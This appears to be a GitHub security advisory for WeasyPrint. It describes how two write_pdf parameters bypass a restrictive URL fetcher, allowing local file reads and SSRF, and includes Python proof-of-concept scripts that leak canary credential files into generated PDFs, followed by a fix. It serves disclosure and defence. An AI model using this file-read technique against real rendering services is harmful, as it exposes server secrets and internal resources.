GHSA-jf6q-chmf-3h3v: SSRF

Summary

urlfetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.

Two writepdf() channels ignore the document's urlfetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:

- xmpmetadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced. - stylesheets=[urlorpath] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.

Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive urlfetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

selectsource() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):

python def selectsource(guess=None, filename=None, url=None, ..., urlfetcher=None, ...): ... if urlfetcher is None: urlfetcher = URLFetcher()

Five of the seven resource-loading sites thread the document's fetcher correctly:

- <link rel=stylesheet> in weasyprint/css/init.py - <style> in weasyprint/css/init.py - @import in weasyprint/css/init.py - @font-face / local() in weasyprint/text/fonts.py - @color-profile src in weasyprint/css/init.py - images (<img>, CSS url(), SVG) in weasyprint/images.py

Two do not — they build a fresh default fetcher instead:

- writepdf(xmpmetadata=[...]) in weasyprint/pdf/init.py - writepdf(stylesheets=[str]) in weasyprint/document.py

xmpmetadata - pdf/init.py calls selectsource(url) with no urlfetcher, so the default fetcher runs regardless of what the caller configured:

python if options['xmpmetadata']: for url in options['xmpmetadata']: result = selectsource(url) # no urlfetcher

stylesheets - document.py builds each sheet without passing urlfetcher, and CSS.init then defaults to a fresh URLFetcher():

python for css in options['stylesheets'] or []: if not hasattr(css, 'matcher'): css = CSS( # no urlfetcher=html.urlfetcher guess=css, mediatype=html.mediatype, fontconfig=fontconfig, counterstyle=counterstyle, colorprofiles=colorprofiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmpmetadata= reads a file:// the fetcher blocks

python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher

class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)

d = tempfile.mkdtemp() path = os.path.join(d, 'secret.xmp') open(path, 'wb').write(b'CANARYXMPLEAK7f3a9c') pdf = HTML(string='<p>hi</p>', urlfetcher=Block()).writepdf( xmpmetadata=['file://' + path], pdfvariant='pdf/a-3b', uncompressedpdf=True) print('secret file leaked into PDF:', b'CANARYXMPLEAK7f3a9c' in pdf) -> True

(pdfvariant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher

class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)

d = tempfile.mkdtemp() path = os.path.join(d, 'evil.css') open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', urlfetcher=Block()).render(stylesheets=['file://' + path]) p = doc.pages[0] print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678)) -> True

Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it; WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the gap is specific to stylesheets= and not a misconfigured fetcher. ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path, urlfetcher=Block()).render() cp = ctrl.pages[0] print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678)) -> True

3 - the stylesheets= bypass is transitive

python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher

class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)

d = tempfile.mkdtemp() inner = os.path.join(d, 'inner.css') outer = os.path.join(d, 'outer.css') open(inner, 'w').write('@page { size: 333px 777px }') open(outer, 'w').write('@import url("file://%s");' % inner) doc = HTML(string='<p>x</p>', urlfetcher=Block()).render(stylesheets=['file://' + outer]) p = doc.pages[0] print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777)) -> True

4 - xmpmetadata= discloses a credentials file in full

python import os, json, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher

class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)

creds = {'dbname': 'CANARYDBNAME', 'dbpassword': 'CANARYPASSWORDa3f7e9c2', 'encryptionkey': 'CANARYENCKEYb8d4f6a1', 'secretkey': 'CANARYSECRETKEYc5e9d2b7'} d = tempfile.mkdtemp() path = os.path.join(d, 'siteconfig.json') json.dump(creds, open(path, 'w')) pdf = HTML(string='<p>x</p>', urlfetcher=Block()).writepdf( xmpmetadata=['file://' + path], pdfvariant='pdf/a-3b', uncompressedpdf=True) print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values())) -> True

An attacker who controls the xmpmetadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

python import os, tempfile from weasyprint import HTML from weasyprint.urls import URLFetcher

class Block(URLFetcher): def fetch(self, url, headers=None): if url.lower().startswith('file:'): raise ValueError('blocked ' + url) return super().fetch(url, headers)

d = tempfile.mkdtemp() path = os.path.join(d, 'secrets.css') open(path, 'w').write('/ CANARYSECRETe2a8c5d4 /\n@page { size: 999px 888px }') html = HTML(string='<p>x</p>', urlfetcher=Block()) doc = html.render(stylesheets=['file://' + path]) pdf = html.writepdf(stylesheets=['file://' + path], uncompressedpdf=True) p = doc.pages[0] print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888)) # -> True print('comment leaked verbatim:', b'CANARYSECRETe2a8c5d4' in pdf) # -> False

Suggested fix

Route both call sites through the document's urlfetcher, matching the five sites that already do this.

- pdf/init.py - selectsource(url, urlfetcher=self.urlfetcher). (Alternatively, restrict xmpmetadata to byte strings so no URL fetching occurs.) - document.py - CSS(guess=css, ..., urlfetcher=html.urlfetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.